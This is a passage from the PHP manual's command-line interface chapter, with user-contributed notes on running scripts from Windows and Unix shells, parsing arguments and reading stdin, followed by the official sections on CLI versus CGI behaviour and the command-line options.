10. Create a key inside "run" called "command".
11. Set the "(Default)" value inside "command" to:

cmd.exe /k C:\php\php.exe "%1"

Make sure the path to PHP is appropriate for your installation. Why not just run it with php.exe directly? Because you (presumably) want the console window to remain open after the script ends.

You don't need to set up a webserver for this to work. I downloaded PHP just so I could run scripts on my computer. Hope this is useful!
roberto dot dimas at gmail dot com 26-May-2005 10:52
One of the things I like about perl and vbscripts, is the fact that I can name a file e.g. 'test.pl' and just have to type 'test, without the .pl extension' on the windows command line and the command processor knows that it is a perl file and executes it using the perl command interpreter.

I did the same with the file extension .php3 (I will use php3 exclusivelly for command line php scripts, I'm doing this because my text editor VIM 6.3 already has the correct syntax highlighting for .php3 files ).

I modified the PATHEXT environment variable in Windows XP, from the " 'system' control panel applet->'Advanced' tab->'Environment Variables' button-> 'System variables' text area".

Then from control panel "Folder Options" applet-> 'File Types' tab, I added a new file extention (php3), using the button 'New'  and typing php3 in the window that pops up.

Then in the 'Details for php3 extention' area I used the 'Change' button to look for the Php.exe executable so that the php3 file extentions are associated with the php executable.

You have to modify also the 'PATH' environment variable, pointing to the folder where the php executable is installed

Hope this is useful to somebody
diego dot rodrigues at poli dot usp dot br 03-May-2005 05:29
#!/usr/bin/php -q
<?php
/**********************************************
* Simple argv[] parser for CLI scripts
* Diego Mendes Rodrigues - S�o Paulo - Brazil
* diego.m.rodrigues [at] gmail [dot] com
* May/2005
**********************************************/

class arg_parser {
    var $argc;
    var $argv;
    var $parsed;
    var $force_this;

    function arg_parser($force_this="") {
        global $argc, $argv;
        $this->argc = $argc;
        $this->argv = $argv;
        $this->parsed = array();

        array_push($this->parsed,
                           array($this->argv[0]) );

        if ( !empty($force_this) )
            if ( is_array($force_this) )
                $this->force_this = $force_this;

        //Sending parameters to $parsed
        if ( $this->argc > 1 ) {
            for($i=1 ; $i< $this->argc ; $i++) {
                //We only have passed -xxxx
                if ( substr($this->argv[$i],0,1) == "-" ) {
                    //Se temos -xxxx xxxx
                    if ( $this->argc > ($i+1) ) {
                        if ( substr($this->argv[$i+1],0,1) != "-" ) {
                            array_push($this->parsed,
                                array($this->argv[$i],
                                    $this->argv[$i+1]) );
                            $i++;
                            continue;
                        }
                    }
                }
                //We have passed -xxxxx1 xxxxx2
                array_push($this->parsed,
                                                  array($this->argv[$i]) );
            }
        }

                //Testing if all necessary parameters have been passed
                $this->force();
    }

    //Testing if one parameter have benn passed
    function passed($argumento) {
        for($i=0 ; $i< $this->argc ; $i++)
            if ( $this->parsed[$i][0] == $argumento )
                return $i;
        return 0;
    }

    //Testing if you have passed a estra argument, -xxxx1 xxxxx2
    function full_passed($argumento) {
        $findArg = $this->passed($argumento);
        if ( $findArg )
            if ( count($this->parsed[$findArg] ) > 1 )
                return $findArg;
        return 0;
    }

        //Returns  xxxxx2 at a " -xxxx1 xxxxx2" call
    function get_full_passed($argumento) {
                $findArg = $this->full_passed($argumento);

                if ( $findArg )
                    return $this->parsed[$findArg][1];

                return;
        }

    //Necessary parameters to script
    function force() {
        if ( is_array( $this->force_this ) ) {
            for($i=0 ; $i< count($this->force_this) ; $i++) {
                if ( $this->force_this[$i][1] == "SIMPLE"
                     && !$this->passed($this->force_this[$i][0])
                )
                    die("\n\nMissing " . $this->force_this[$i][0] . "\n\n");

                                if ( $this->force_this[$i][1] == "FULL"
                                     && !$this->full_passed($this->force_this[$i][0])
                )
                                        die("\n\nMissing " . $this->force_this[$i][0] ." <arg>\n\n");
            }
        }
    }
}

//Example
$forcar = array(
        array("-name", "FULL"),
        array("-email","SIMPLE") );

$parser = new arg_parser($forcar);

if ( $parser->passed("-show") )
    echo "\nGoing...:";

echo "\nName: " . $parser->get_full_passed("-name");

if ( $parser->full_passed("-email") )
    echo "\nEmail: " . $parser->get_full_passed("-email");
else
        echo "\nEmail: default";

if ( $parser->full_passed("-copy") )
        echo "\nCopy To: " . $parser->get_full_passed("-copy");

echo "\n\n";
?>

TESTING
=====
[diego@Homer diego]$ ./en_arg_parser.php -name -email cool -copy Ana

Missing -name <arg>

[diego@Homer diego]$ ./en_arg_parser.php -name diego -email cool -copy Ana

Name: diego
Email: cool
Copy To: Ana

[diego@Homer diego]$ ./en_arg_parser.php -name diego -email  -copy Ana

Name: diego
Email: default
Copy To: Ana

[diego@Homer diego]$ ./en_arg_parser.php -name diego -email

Name: diego
Email: default

[diego@Homer diego]$
rh@hdesigndotdemondotcodotuk 25-Apr-2005 10:28
In a bid to save time out of lives when calling up php from the Command Line on Mac OS X.

I just wasted hours on this. Having written a routine which used the MCRYPT library, and tested it via a browser, I then set up a crontab to run the script from the command line every hour (to do automated backups from mysql using mysqldump, encrypt them using mcrypt, then email them and ftp them off to remote locations).

Everything worked fine from the browser, but failed every time from the cron task with "Call to undefined function: mcrypt [whatever]".

Only after much searching do I realise that the CGI and CLI versions are differently compiled, and have different modules attached (I'm using the entropy.ch install for Mac OS-X, php v4.3.2 and mysql v4.0.18).

I still can not find a way to resolve the problem, so I have decided instead to remove the script from the SSL side of the server, and run it using a crontab with CURL to localhost or 127.0.0.1 in order that it will run through Apache's php module.

Just thought this might help some other people tearing their hair out. If anyone knows a quick fix to add the mcrypt module onto the CLI php without any tricky re-installing, it'd be really helpful.

Meantime the workaround does the job, not as neatly though.
merrittd at dhcmc dot com 28-Mar-2005 10:23
Example 43-2 shows how to create a DOS batch file to run a PHP script form the command line using:

@c:\php\cli\php.exe script.php %1 %2 %3 %4

Here is an updated version of the DOS batch file:

@c:\php\cli\php.exe %~n0.php %*

This will run a PHP file (i.e. script.php) with the same base file name (i.e. script) as the DOS batch file (i.e. script.bat) and pass all parameters (not just the first four as in example 43-2) from the DOS batch file to the PHP file.

This way all you have to do is copy/rename the DOS batch file to match the name of your PHP script file without ever having to actually modify the contents of the DOS batch file to match the file name of the PHP script.
obfuscated at emailaddress dot com 25-Feb-2005 05:15
This posting is not a php-only problem, but hopefully will save someone a few hours of headaches.  Running on MacOS (although this could happen on any *nix I suppose), I was unable to get the script to execute without specifically envoking php from the command line:

[macg4:valencia/jobs] tim% test.php
./test.php: Command not found.

However, it worked just fine when php was envoked on the command line:

[macg4:valencia/jobs] tim% php test.php
Well, here we are...  Now what?

Was file access mode set for executable?  Yup.

[macg4:valencia/jobs] tim% ls -l
total 16
-rwxr-xr-x  1 tim  staff   242 Feb 24 17:23 test.php

And you did, of course, remember to add the php command as the first line of your script, yeah?  Of course.

#!/usr/bin/php
<?php print "Well, here we are...  Now what?\n"; ?>

So why dudn't it work?  Well, like I said... on a Mac.... but I also occasionally edit the files on my Windows portable (i.e. when I'm travelling and don't have my trusty Mac available)...  Using, say, WordPad on Windows... and BBEdit on the Mac...

Aaahhh... in BBEdit check how the file is being saved!  Mac?  Unix?  or Dos?  Bingo.  It had been saved as Dos format.  Change it to Unix:

[macg4:valencia/jobs] tim% ./test.php
Well, here we are...  Now what?
[macg4:valencia/jobs] tim%

NB: If you're editing your php files on multiple platforms (i.e. Windows and Linux), make sure you double check the files are saved in a Unix format...  those \r's and \n's 'll bite cha!
db at digitalmediacreation dot ch 22-Feb-2005 08:49
A very important point missing here (I lost hours on it and hope to avoid this to you) :

* When using PHP as CGI
* When you just become crazy because of "No input file specified" appearing on the web page, while it never appears directly in the shell

Then I have a solution for you :

1. Create a script for example called cgiwrapper.cgi
2. Put inside :
 #!/bin/sh -
 export SCRIPT_FILENAME=/var/www/realpage.php
 /usr/bin/php -f $SCRIPT_FILENAME
3. Name your page realpage.php

For example with thttpd the problem is that SCRIPT_FILENAME is not defined, while PHP absolutely requires it.
My solution corrects that problem !
ken.gregg at rwre dot com 09-Jan-2005 10:38
If you want to use named command line parameters in your script,
the following code will parse command line parameters in the form
of name=value and place them in the $_REQUEST super global array.

cli_test.php
<?php

echo "argv[] = ";
print_r($argv);  // just to see what was passed in

if ($argc > 0)
{
  for ($i=1;$i < $argc;$i++)
  {
    parse_str($argv[$i],$tmp);
    $_REQUEST = array_merge($_REQUEST, $tmp);
  }
}

echo "\$_REQUEST = ";
print_r($_REQUEST);

?>

rwre:~/tmp$ /usr/local/bin/php cli_test.php foo=1 bar=2 third=a+value

argv[] = Array
(
    [0] => t.php
    [1] => foo=1
    [2] => bar=2
    [3] => third=a+value
)
$_REQUEST = Array
(
    [foo] => 1
    [bar] => 2
    [third] => a value
)
Ben Jenkins 22-Dec-2004 06:23
This took me all day to figure out, so I hope posting it here saves someone some time:
Your PHP-CLI may have a different php.ini than your apache-php.  For example: On my Debian-based system, I discovered I have /etc/php4/apache/php.ini and /etc/php4/cli/php.ini
If you want MySQL support in the CLI, make sure the line
extension=mysql.so
is not commented out.
The differences in php.ini files may also be why some scripts will work when called through a web browser, but will not work when called via the command line.
linn at backendmedia dot com 06-Feb-2004 03:12
For those of you who want the old CGI behaviour that changes to the actual directory of the script use:
chdir(dirname($_SERVER['argv'][0]));

at the beginning of your scripts.
ben at slax0rnet dot com 03-Feb-2004 04:34
Just a note for people trying to use interactive mode from the commandline.

The purpose of interactive mode is to parse code snippits without actually leaving php, and it works like this:

[root@localhost php-4.3.4]# php -a
Interactive mode enabled

<?php echo "hi!"; ?>
<note, here we would press CTRL-D to parse everything we've entered so far>
hi!
<?php exit(); ?>
<ctrl-d here again>
[root@localhost php-4.3.4]#

I noticed this somehow got ommited from the docs, hope it helps someone!
punk at studionew dot com 19-Jul-2003 01:18
You can use this function to ask user to enter something.

<?php
function read ($length='255')
{
   if (!isset ($GLOBALS['StdinPointer']))
   {
      $GLOBALS['StdinPointer'] = fopen ("php://stdin","r");
   }
   $line = fgets ($GLOBALS['StdinPointer'],$length);
   return trim ($line);
}

// then

echo "Enter your name: ";
$name = read ();
echo "\nHello $name! Where you came from? ";
$where = read ();
echo "\nI see. $where is very good place.";
?>
Adam, php(at)getwebspace.com 17-Jun-2003 01:12
Ok, I've had a heck of a time with PHP > 4.3.x and whether to use CLI vs CGI. The CGI version of 4.3.2 would return (in browser):
---
No input file specified.
---

And the CLI version would return:
---
500 Internal Server Error
---

It appears that in CGI mode, PHP looks at the environment variable PATH_TRANSLATED to determine the script to execute and ignores command line. That is why in the absensce of this environment variable, you get "No input file specified." However, in CLI mode the HTTP headers are not printed. I believe this is intended behavior for both situations but creates a problem when you have a CGI wrapper that sends environment variables but passes the actual script name on the command line.

By modifying my CGI wrapper to create this PATH_TRANSLATED environment variable, it solved my problem, and I was able to run the CGI build of 4.3.2
monte at ispi dot net 05-Jun-2003 12:47
I had a problem with the $argv values getting split up when they contained plus (+) signs. Be sure to use the CLI version, not CGI to get around it.

Monte
Popeye at P-t-B dot com 18-Apr-2003 05:15
In *nix systems, use the WHICH command to show the location of the php binary executable. This is the path to use as the first line in your php shell script file. (#!/path/to/php -q) And execute php from the command line with the -v switch to see what version you are running.

example:

# which php
/usr/local/bin/php
# php -v
PHP 4.3.1 (cli) (built: Mar 27 2003 14:41:51)
Copyright (c) 1997-2002 The PHP Group
Zend Engine v1.3.0, Copyright (c) 1998-2002 Zend Technologies

In the above example, you would use: #!/usr/local/bin/php

Also note that, if you do not have the current/default directory in your PATH (.), you will have to use ./scriptfilename to execute your script file from the command line (or you will receive a "command not found" error). Use the ENV command to show your PATH environment variable value.
volkany at celiknet dot com 20-Feb-2003 10:44
Here goes a very simple clrscr function for newbies...
function clrscr() { system("clear"); }
Alexander Plakidin 14-Feb-2003 02:34
How to change current directory in PHP script to script's directory when running it from command line using PHP 4.3.0?
(you'll probably need to add this to older scripts when running them under PHP 4.3.0 for backwards compatibility)

Here's what I am using:
chdir(preg_replace('/\\/[^\\/]+$/',"",$PHP_SELF));

Note: documentation says that "PHP_SELF" is not available in command-line PHP scripts. Though, it IS available. Probably this will be changed in future version, so don't rely on this line of code...

Use $_SERVER['PHP_SELF'] instead of just $PHP_SELF if you have register_globals=Off
c dot kelly[no--spam] at qfsaustrlia dot com dot au 07-Feb-2003 05:03
In Windows [NT4.0 sp6a] the example
php -r ' echo getcwd();' does not work ; It appears you have to use the following php -r "echo getcwd();" --not the " around the command   to get the output to screen , just took me half an hour to figure out what was going on.
wanna at stay dot anonynous dot com 22-Jan-2003 06:42
TIP: If you want different versions of the configuration file  depending on what SAPI is used,just name them php.ini (apache module), php-cli.ini (CLI) and php-cgi.ini (CGI) and dump them all in the regular configuration directory. I.e no need to compile several versions of php anymore!
phpnotes at ssilk dot de 22-Oct-2002 12:36
To hand over the GET-variables in interactive mode like in HTTP-Mode (e.g. your URI is myprog.html?hugo=bla&bla=hugo), you have to call

php myprog.html '&hugo=bla&bla=hugo'

(two & instead of ? and &!)

There just a little difference in the $ARGC, $ARGV values, but I think this is in those cases not relevant.
justin at visunet dot ie 21-Oct-2002 06:21
If you are trying to set up an interactive command line script and you want to get started straight away (works on 4+ I hope). Here is some code to start you off:

<?php

    // Stop the script giving time out errors..
    set_time_limit(0);

    // This opens standard in ready for interactive input..
    define('STDIN',fopen("php://stdin","r"));

    // Main event loop to capture top level command..
    while(!0)
    {

        // Print out main menu..
        echo "Select an option..\n\n";
        echo "    1) Do this\n";
        echo "    2) Do this\n";
        echo "    3) Do this\n";
        echo "    x) Exit\n";

        // Decide what menu option to select based on input..
        switch(trim(fgets(STDIN,256)))
        {
            case 1:
                break;

            case 2:
                break;

            case 3:
                break;

            case "x":
                exit();

            default:
                break;
        }

    }

    // Close standard in..
    fclose(STDIN);

?>
phpNOSPAM at dogpoop dot cjb dot net 12-Oct-2002 05:28
Here are some instructions on how to make PHP files executable from the command prompt in Win2k.  I have not tested this in any other version of Windows, but I'm assuming it will work in XP, but not 9x/Me.

There is an environment variable (control panel->system->advanced->environment variables) named PATHEXT.  This is a list of file extensions Windows will recognize as executable at the command prompt.  Add .PHP (or .PL, or .CLASS, or whatever) to this list.  Windows will use the default action associated with that file type when you execute it from the command prompt.

To set up the default action:
Open Explorer.
Go to Tools->folder options->file types
Find the extension you're looking for.  If it's not there, click New to add it.
Click on the file type, then on Advanced, then New.
For the action, type "Run" or "Execute" or whatever makes sense.
For the application, type
  {path to application} "%1" %*
The %* will send any command line options that you type to the program.
The application field for PHP might look like
  c:\php\php.exe -f "%1" -- %*
(Note, you'll probably want to use the command line interface version php-cli.exe)
or for Java
  c:\java\java.exe "%1" %*
Click OK.
Click on the action that was just added, then click Set default.

If this helps you or if you have any changes/more information I would appreciate a note.  Just remove NOSPAM from the email address.
jeff at noSpam[] dot genhex dot net 06-Sep-2002 02:13
You can also call the script from the command line after chmod'ing the file (ie: chmod 755 file.php).

On your first line of the file, enter "#!/usr/bin/php" (or to wherever your php executable is located).  If you want to suppress the PHP headers, use the line of "#!/usr/bin/php -q" for your path.
zager[..A..T..]teleaction.de 15-Aug-2002 08:15
Under Solaris (at least 2.6) I have some problems with reading stdin. Original pbms report may be found here:
http://groups.google.com/groups?
q=Re:+%5BPHP%5D+Q+on+php://stdin+--+an+answer!&hl=en&lr=&ie=UTF-
8&oe=UTF-8&selm=3C74AF57.6090704%40Sun.COM&rnum=1

At a first glance the only solution for it is 'fgetcsv'

#!/usr/local/bin/php -q
<?php

set_magic_quotes_runtime(0);
$fd=fopen("php://stdin","r");
if (!$fd)
  exit;

while (!feof ($fd))
{
  $s = fgetcsv($fd,128,"\n");
  if ($s==false)
    continue;

  echo $s[0]."\n";
}
?>

But... keep reading....

>>> I wrote
Hello,
Sometimes I hate PHP... ;)

Right today I was trapped by some strange bug in my code with reading stdin using fgetcsv.
After a not small investigation I found that strings like "foo\nboo\ndoo"goo\n (take note of double quatation sign in it)
interpreted by fgetcsv like:
1->foo\nboo\ndoo
2->goo
since double quotation mark has a special meaning and get stripped off of the input stream.
Indeed, according to PHP manual:
[quote]
array fgetcsv ( int fp, int length [, string delimiter [, string enclosure]])

[skip]
another delimiter with the optional third parameter. _The_enclosure_character_is_double_quote_,_unless_
it_is_specified_.
[skip]
_enclosure_is_added_from_PHP 4.3.0.       !!!!!!
[/quote]

Means no chance for us prior to 4.3.0 :(
But file() works just fine !!!! Of course by the price of memory, so be careful with large files.

set_magic_quotes_runtime(0); // important, do not forget it !!!
$s=file("php://stdin");
for ($i=0,$n=sizeof($s);$i<$n;$i++)
{
  do_something_useful(rtrim($s[$i]));
}

Conclusion:
1. If you have no double quotation mark in your data use fgetcsv
2. From 4.3.0 use   fgetcsv($fd,"\n",""); // I hope it will help
3. If you data is not huge use file("php://stdin");

Hope now it's cleared for 100% (to myself ;)

Good luck!
Dim

PS. Don't forget that it's only Solaris specific problem. Under Linux just use usual fgets()...
jonNO at SPAMjellybob dot co dot uk 04-Aug-2002 06:17
If you want to get the output of a command use the function shell_exec($command) - it returns a string with the output of the command.
ben-php dot net at wefros dot com 14-Jun-2002 12:40
PHP 4.3 and above automatically have STDOUT, STDIN, and STDERR openned ... but < 4.3.0 do not.  This is how you make code that will work in versions previous to PHP 4.3 and future versions without any changes:

<?php
    if (version_compare(phpversion(),'4.3.0','<')) {
        define('STDIN',fopen("php://stdin","r"));
        define('STDOUT',fopen("php://stout","r"));
        define('STDERR',fopen("php://sterr","r"));
        register_shutdown_function( create_function( '' , 'fclose(STDIN); fclose(STDOUT); fclose(STDERR); return true;' ) );
    }

/* get some STDIN up to 256 bytes */
    $str = fgets(STDIN,256);
?>
pyxl at jerrell dot com 18-Feb-2002 08:52
Assuming --prefix=/usr/local/php, it's better to create a symlink from /usr/bin/php or /usr/local/bin/php to target /usr/local/php/bin/php so that it's both in your path and automatically correct every time you rebuild.  If you forgot to do that copy of the binary after a rebuild, you can do all kinds of wild goose chasing when things break.


Introduction

The main focus of CLI SAPI is for developing shell applications with PHP. There are quite a few differences between the CLI SAPI and other SAPIs which are explained in this chapter. It is worth mentioning that CLI and CGI are different SAPIs although they do share many of the same behaviors.

The CLI SAPI is enabled by default using --enable-cli , but may be disabled using the --disable-cli option when running ./configure.

The name, location and existence of the CLI/CGI binaries will differ depending on how PHP is installed on your system. By default when executing make, both the CGI and CLI are built and placed as sapi/cgi/php-cgi and sapi/cli/php respectively, in your PHP source directory. You will note that both are named php. What happens during make install depends on your configure line. If a module SAPI is chosen during configure, such as apxs, or the --disable-cgi option is used, the CLI is copied to {PREFIX}/bin/php during make install otherwise the CGI is placed there. So, for example, if --with-apxs is in your configure line then the CLI is copied to {PREFIX}/bin/php during make install. If you want to override the installation of the CGI binary, use make install-cli after make install. Alternatively you can specify --disable-cgi in your configure line.

Note:

Because both --enable-cli and --enable-cgi are enabled by default, simply having --enable-cli in your configure line does not necessarily mean the CLI will be copied as {PREFIX}/bin/php during make install.

As of PHP 5, the CLI binary is distributed in the main folder as php.exe on Windows. The CGI version is distributed as php-cgi.exe. Additionally, a php-win.exe is distributed if PHP is configured using --enable-cli-win32 . This does the same as the CLI version, except that it doesn't output anything and thus provides no console.

Note: What SAPI do I have?

From a shell, typing php -v will tell you whether php is CGI or CLI. See also the function php_sapi_name() and the constant PHP_SAPI.

Note:

A Unix manual page is available by typing man php in the shell environment.

User Contributed Notes

There are no user contributed notes for this page.


Differences to other SAPIs

Remarkable differences of the CLI SAPI compared to other SAPIs:

  • Unlike the CGI SAPI, no headers are written to the output.

    Though the CGI SAPI provides a way to suppress HTTP headers, there's no equivalent switch to enable them in the CLI SAPI.

    CLI is started up in quiet mode by default, though the -q and --no-header switches are kept for compatibility so that it is possible to use older CGI scripts.

    It does not change the working directory to that of the script. (-C and --no-chdir switches kept for compatibility)

    Plain text error messages (no HTML formatting).

  • There are certain php.ini directives which are overridden by the CLI SAPI because they do not make sense in shell environments:

    Overridden php.ini directives
    Directive | CLI SAPI default value | Comment
    html_errors | FALSE | Defaults to FALSE, as it can be quite hard to read error messages in the shell enviroment when they are cluttered up with uninterpreted HTML tags.
    implicit_flush | TRUE | In a shell environment, it is usually desirable for output, such as from print, echo and friends, to be displayed immediately, and not held in a buffer. Nonetheless, it is still possible to use output buffering to defer or manipulate standard output.
    max_execution_time | 0 (unlimited) | PHP in a shell environment tends to be used for a much more diverse range of purposes than typical Web-based scripts, and as these can be very long-running, the maximum execution time is set to unlimited.
    register_argc_argv TRUE

    Setting this to TRUE means that scripts executed via the CLI SAPI always have access to argc (number of arguments passed to the application) and argv (array of the actual arguments).

    The PHP variables $argc and $argv are automatically set to the appropriate values when using the CLI SAPI. These values can also be found in the $_SERVER array, for example: $_SERVER['argv'].

    output_buffering FALSE

    Although the php.ini setting is hardcoded to FALSE, the Output buffering functions are available.

    max_input_time FALSE

    The PHP CLI does not support GET, POST or file uploads.

    Note:

    These directives cannot be initialized with another value from the configuration file php.ini or a custom one (if specified). This limitation is because the values are applied after all configuration files have been parsed. However, their values can be changed during runtime (although this is not sensible for all of them, such as register_argc_argv).

    Note:

    It is recommended to set ignore_user_abort for command line scripts. See ignore_user_abort() for more information.

  • To ease working in the shell environment, a number of constants are defined for I/O streams .

  • The CLI SAPI does not change the current directory to the directory of the executed script.

    Example #1 Example showing the difference to the CGI SAPI:

    <?php
    // Our simple test application named test.php
    echo getcwd(), "\n";
    ?>

    When using the CGI version, the output is:

    $ pwd
/tmp

$ php -q another_directory/test.php
/tmp/another_directory

    This clearly shows that PHP changes its current directory to the one of the executed script.

    Using the CLI SAPI yields:

    $ pwd
/tmp

$ php -f another_directory/test.php
/tmp

    This allows greater flexibility when writing shell tools in PHP.

    Note:

    The CGI SAPI supports this CLI SAPI behaviour by means of the -C switch when run from the command line.

User Contributed Notes

There are no user contributed notes for this page.


Command line options

The list of command line options provided by the PHP binary can be queried at any time by running PHP with the -h switch:

Usage: php [options] [-f] <file> [--] [args...]
   php [options] -r <code> [--] [args...]
   php [options] [-B <begin_code>] -R <code> [-E <end_code>] [--] [args...]
   php [options] [-B <begin_code>] -F <file> [-E <end_code>] [--] [args...]
   php [options] -- [args...]
   php [options] -a

  -a               Run interactively
  -c <path>|<file> Look for php.ini file in this directory
  -n               No php.ini file will be used
  -d foo[=bar]     Define INI entry foo with value 'bar'
  -e               Generate extended information for debugger/profiler
  -f <file>        Parse and execute <file>.
  -h               This help
  -i               PHP information
  -l               Syntax check only (lint)
  -m               Show compiled in modules
  -r <code>        Run PHP <code> without using script tags <?..?>
  -B <begin_code>  Run PHP <begin_code> before processing input lines
  -R <code>        Run PHP <code> for every input line
  -F <file>        Parse and execute <file> for every input line
  -E <end_code>    Run PHP <end_code> after processing all input lines
  -H               Hide any passed arguments from external tools.
  -S <addr>:<port> Run with built-in web server.
  -t <docroot>     Specify document root <docroot> for built-in web server.
  -s               Output HTML syntax highlighted source.
  -v               Version number
  -w               Output source with stripped comments and whitespace.
  -z <file>        Load Zend extension <file>.

  args...          Arguments passed to script. Use -- args when first argument
                   starts with - or script is read from stdin

  --ini            Show configuration file names

  --rf <name>      Show information about function <name>.
  --rc <name>      Show information about class <name>.
  --re <name>      Show information about extension <name>.
  --rz <name>      Show information about Zend extension <name>.
  --ri <name>      Show configuration for extension <name>.

Command line options
Option | Long Option | Description
-a --interactive

Run PHP interactively. For more information, see the Interactive shell section.

-b --bindpath

Bind Path for external FASTCGI Server mode (CGI only).

-C --no-chdir

Do not chdir to the script's directory (CGI only).

-q --no-header

Quiet-mode. Suppress HTTP header output (CGI only).

-T --timing

Measure execution time of script repeated count times (CGI only).

-c --php-ini

Specifies either a directory in which to look for php.ini, or a custom INI file (which does not need to be named php.ini), e.g.:

$ php -c /custom/directory/ my_script.php

$ php -c /custom/directory/custom-file.ini my_script.php

If this option is not specified, php.ini is searched for in the default locations.

-n --no-php-ini

Ignore php.ini completely.

-d --define

Set a custom value for any of the configuration directives allowed in php.ini. The syntax is:

 -d configuration_directive[=value]

# Omitting the value part will set the given configuration directive to "1"
$ php -d max_execution_time
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(1) "1"

# Passing an empty value part will set the configuration directive to ""
php -d max_execution_time=
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(0) ""

# The configuration directive will be set to anything passed after the '=' character
$  php -d max_execution_time=20
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(2) "20"
$  php
        -d max_execution_time=doesntmakesense
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(15) "doesntmakesense"

-e --profile-info

Activate the extended information mode, to be used by a debugger/profiler.

-f --file

Parse and execute the specified file. The -f is optional and may be omitted - providing just the filename to execute is sufficient.

Note:

To pass arguments to a script, the first argument must be --, otherwise PHP will interpret them as PHP options.

-h and -? | --help and --usage | Output a list of command line options with one line descriptions of what they do.
-i | --info | Calls phpinfo(), and prints out the results. If PHP is not working correctly, it is advisable to use the command php -i and see whether any error messages are printed out before or in place of the information tables. Beware that when using the CGI mode the output is in HTML and therefore very large.
-l --syntax-check

Provides a convenient way to perform only a syntax check on the given PHP code. On success, the text No syntax errors detected in <filename> is written to standard output and the shell return code is 0. On failure, the text Errors parsing <filename> in addition to the internal parser error message is written to standard output and the shell return code is set to -1.

This option won't find fatal errors (like undefined functions). Use the -f to test for fatal errors too.

Note:

This option does not work together with the -r option.

-m --modules

Example #1 Printing built in (and loaded) PHP and Zend modules

$ php -m
[PHP Modules]
xml
tokenizer
standard
session
posix
pcre
overload
mysql
mbstring
ctype

[Zend Modules]

-r --run

Allows execution of PHP included directly on the command line. The PHP start and end tags (<?php and ?>) are not needed and will cause a parse error if present.

Note:

Care must be taken when using this form of PHP not to collide with command line variable substitution done by the shell.

Example #2 Getting a syntax error when using double quotes

$ php -r "$foo = get_defined_constants();"
PHP Parse error:  syntax error, unexpected '=' in Command line code on line 1

Parse error: syntax error, unexpected '=' in Command line code on line 1

The problem here is that sh/bash performs variable substitution even when using double quotes ". Since the variable $foo is unlikely to be defined, it expands to nothing which results in the code passed to PHP for execution actually reading:

$ php -r " = get_defined_constants();"

The correct way would be to use single quotes '. Variables in single-quoted strings are not expanded by sh/bash.

Example #3 Using single quotes to prevent the shell's variable substitution

$ php -r '$foo = get_defined_constants(); var_dump($foo);'
array(370) {
  ["E_ERROR"]=>
  int(1)
  ["E_WARNING"]=>
  int(2)
  ["E_PARSE"]=>
  int(4)
  ["E_NOTICE"]=>
  int(8)
  ["E_CORE_ERROR"]=>
  [...]

If using a shell other than sh/bash, further issues might be experienced - if appropriate, a bug report should be opened at » http://bugs.php.net/. It is still easy to run into trouble when trying to use variables (shell or PHP) in commnad-line code, or using backslashes for escaping, so take great care when doing so. You have been warned!

Note:

-r is available in the CLI SAPI, but not in the CGI SAPI.

Note:

This option is only intended for very basic code, so some configuration directives (such as auto_prepend_file and auto_append_file) are ignored in this mode.

-B --process-begin

PHP code to execute before processing stdin. Added in PHP 5.

-R --process-code

PHP code to execute for every input line. Added in PHP 5.

There are two special variables available in this mode: $argn and $argi. $argn will contain the line PHP is processing at that moment, while $argi will contain the line number.

-F --process-file

PHP file to execute for every input line. Added in PHP 5.

-E --process-end

PHP code to execute after processing the input. Added in PHP 5.

Example #4 Using the -B , -R and -E options to count the number of lines of a project.

$ find my_proj | php -B '$l=0;' -R '$l += count(@file($argn));' -E 'echo "Total Lines: $l\n";'
Total Lines: 37328

-S --server

Starts built-in web server. Available as of PHP 5.4.0.

-t | --docroot | Specifies document root for built-in web server. Available as of PHP 5.4.0.
-s --syntax-highlight and --syntax-highlighting

Display colour syntax highlighted source.

This option uses the internal mechanism to parse the file and writes an HTML highlighted version of it to standard output. Note that all it does is generate a block of <code> [...] </code> HTML tags, no HTML headers.

Note:

This option does not work together with the -r option.

-v --version

Example #5 Using -v to get the SAPI name and the version of PHP and Zend

$ php -v
PHP 5.3.1 (cli) (built: Dec 11 2009 19:55:07)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2009 Zend Technologies

-w --strip

Display source with comments and whitespace stripped.

Note:

This option does not work together with the -r option.

-z --zend-extension

Load Zend extension. If only a filename is given, PHP tries to load this extension from the current default library path on your system (usually /etc/ld.so.conf on Linux systems, for example). Passing a filename with an absolute path will not use the system's library search path. A relative filename including directory information will tell PHP to try loading the extension relative to the current directory.

--ini

Show configuration file names and scanned directories. Available as of PHP 5.2.3.

Example #6 --ini example

$ php --ini
Configuration File (php.ini) Path: /usr/dev/php/5.2/lib
Loaded Configuration File:         /usr/dev/php/5.2/lib/php.ini
Scan for additional .ini files in: (none)
Additional .ini files parsed:      (none)
--rf --rfunction

Show information about the given function or class method (e.g. number and name of the parameters). Available as of PHP 5.1.2.

This option is only available if PHP was compiled with Reflection support.

Example #7 basic --rf usage

$ php --rf var_dump
Function [ <internal> public function var_dump ] {

  - Parameters [2] {
    Parameter #0 [ <required> $var ]
    Parameter #1 [ <optional> $... ]
  }
}
--rc --rclass

Show information about the given class (list of constants, properties and methods). Available as of PHP 5.1.2.

This option is only available if PHP was compiled with Reflection support.

Example #8 --rc example

$ php --rc Directory
Class [ <internal:standard> class Directory ] {

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [0] {
  }

  - Methods [3] {
    Method [ <internal> public method close ] {
    }

    Method [ <internal> public method rewind ] {
    }

    Method [ <internal> public method read ] {
    }
  }
}
--re --rextension

Show information about the given extension (list of php.ini options, defined functions, constants and classes). Available as of PHP 5.1.2.

This option is only available if PHP was compiled with Reflection support.

Example #9 --re example

$ php --re json
Extension [ <persistent> extension #19 json version 1.2.1 ] {

  - Functions {
    Function [ <internal> function json_encode ] {
    }
    Function [ <internal> function json_decode ] {
    }
  }
}
--rz --rzendextension

Show the configuration information for the given Zend extension (the same information that is returned by phpinfo()). Available as of PHP 5.4.0.

--ri --rextinfo

Show the configuration information for the given extension (the same information that is returned by phpinfo()). Available as of PHP 5.2.2. The core configuration information is available using "main" as extension name.

Example #10 --ri example

$ php --ri date

date

date/time support => enabled
"Olson" Timezone Database Version => 2009.20
Timezone Database => internal
Default timezone => Europe/Oslo

Directive => Local Value => Master Value
date.timezone => Europe/Oslo => Europe/Oslo
